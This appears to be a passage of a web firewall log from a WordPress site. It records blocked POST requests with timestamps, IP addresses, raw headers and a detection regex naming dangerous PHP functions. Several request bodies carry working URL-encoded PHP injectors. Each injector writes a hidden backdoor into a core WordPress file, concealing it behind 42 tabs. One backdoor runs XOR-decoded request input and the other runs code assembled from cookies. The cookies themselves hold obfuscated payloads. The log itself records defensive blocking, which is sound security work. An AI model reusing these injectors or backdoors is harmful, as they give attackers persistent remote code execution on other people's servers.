HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:3803\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH2RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nSa=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_REQUEST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%2529%257B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%253B%2520%2524sym%2520%253D%2527%2527%253Bforeach%2528str_split%2528%2524desc%2529%2520as%2520%2524char%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252063%2529%253B%257D%2520%2524data%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524property_set%2520%253D%2520array_shift%2528%2524data%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524property_set%2529%252C%2520is_writable%2528%2524property_set%2529%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.marker%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524flag%253B%2520unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:50:14","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_REQUEST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%2529%257B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%253B%2520%2524sym%2520%253D%2527%2527%253Bforeach%2528str_split%2528%2524desc%2529%2520as%2520%2524char%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252063%2529%253B%257D%2520%2524data%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524property_set%2520%253D%2520array_shift%2528%2524data%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524property_set%2529%252C%2520is_writable%2528%2524property_set%2529%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.marker%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524flag%253B%2520unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-length:3826\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_REQUEST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%2529%257B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%253B%2520%2524sym%2520%253D%2527%2527%253Bforeach%2528str_split%2528%2524desc%2529%2520as%2520%2524char%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252063%2529%253B%257D%2520%2524data%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524property_set%2520%253D%2520array_shift%2528%2524data%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524property_set%2529%252C%2520is_writable%2528%2524property_set%2529%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.marker%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524flag%253B%2520unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:50:16","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> CY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_REQUEST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%2529%257B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%253B%2520%2524sym%2520%253D%2527%2527%253Bforeach%2528str_split%2528%2524desc%2529%2520as%2520%2524char%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252063%2529%253B%257D%2520%2524data%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524property_set%2520%253D%2520array_shift%2528%2524data%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524property_set%2529%252C%2520is_writable%2528%2524property_set%2529%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.marker%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524flag%253B%2520unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:3803\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvD1xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nCY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-media-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_REQUEST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%2529%257B%2520%2524desc%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx6F%255Cx62%255Cx6Aect%2522%255D%2529%253B%2520%2524sym%2520%253D%2527%2527%253Bforeach%2528str_split%2528%2524desc%2529%2520as%2520%2524char%2529%257B%2524sym%2520.%253D%2520chr%2528ord%2528%2524char%2529%2520%255E%252063%2529%253B%257D%2520%2524data%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520while%2520%2528%2524property_set%2520%253D%2520array_shift%2528%2524data%2529%2529%2520%257B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524property_set%2529%252C%2520is_writable%2528%2524property_set%2529%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.marker%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524flag%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524flag%253B%2520unlink%2528%2524flag%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:50:19","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Xn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/getid3.lib.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B10%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B3%255D.%2524p%255B19%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:3242\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJT4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nXn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/ID3\/getid3.lib.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B29%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B29%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B29%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B21%255D%2528%2529.%2524p%255B10%255D%253Bif%2528%2521%2524p%255B24%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B28%255D%2528%2524k%252C%2524p%255B20%255D%2529%253B%2524p%255B4%255D%2528%2524n%252C%2524p%255B3%255D.%2524p%255B19%255D%2528%2524p%255B12%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
